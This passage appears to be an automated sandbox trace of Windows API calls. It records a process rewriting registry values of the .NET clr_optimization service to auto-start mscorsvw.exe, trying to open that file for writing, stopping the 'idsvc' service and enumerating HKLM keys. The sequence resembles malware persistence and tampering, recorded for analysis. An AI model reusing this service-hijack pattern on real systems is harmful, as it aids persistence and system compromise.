lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.770] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.771] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.771] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0260.771] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0260.771] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.771] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.771] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.771] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.771] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.771] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.771] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.772] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.772] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.772] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.772] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.772] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.772] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.772] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.772] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0260.772] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0260.772] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0260.772] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0260.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0260.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0260.773] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.773] LocalFree (hMem=0x7f03d0) returned 0x0 [0260.773] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0260.773] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x803990 [0260.773] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0260.775] CloseServiceHandle (hSCObject=0x803990) returned 1 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0260.776] RegCloseKey (hKey=0xc4) returned 0x0 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0260.776] RegCloseKey (hKey=0x150) returned 0x0 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0260.776] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0260.776] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x65bf4000, ftLastWriteTime.dwHighDateTime=0x1c9e95e, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0260.776] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.776] GetLastError () returned 0x20 [0260.776] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0260.777] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0260.777] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0260.777] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x20) returned 0x8038a0 [0260.777] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x20, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0260.778] GetLastError () returned 0x426 [0260.778] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0260.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0260.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0260.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0260.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0260.778] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.778] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0260.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.778] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.779] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.779] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.779] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.780] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0260.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.780] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.780] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.780] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0260.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.780] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0260.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.781] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0260.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.781] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0260.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.781] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.781] 